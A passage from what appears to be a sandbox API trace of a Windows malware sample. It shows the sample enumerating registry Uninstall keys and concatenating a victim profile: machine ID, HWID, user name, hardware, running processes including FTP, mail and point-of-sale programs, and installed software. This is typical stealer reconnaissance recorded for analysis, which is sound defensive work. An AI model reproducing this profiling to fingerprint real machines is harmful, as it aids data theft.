growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\n"
[0054.970] RegCloseKey (hKey=0x514) returned 0x0
[0054.970] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x2f, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-00BA-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.970] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-00BA-0409-0000-0000000FF1CE}") returned 90
[0054.970] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-00BA-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.971] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Groove MUI (English) 2016", lpcbData=0x1816c0*=0x24) returned 0x0
[0054.971] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Groove MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- 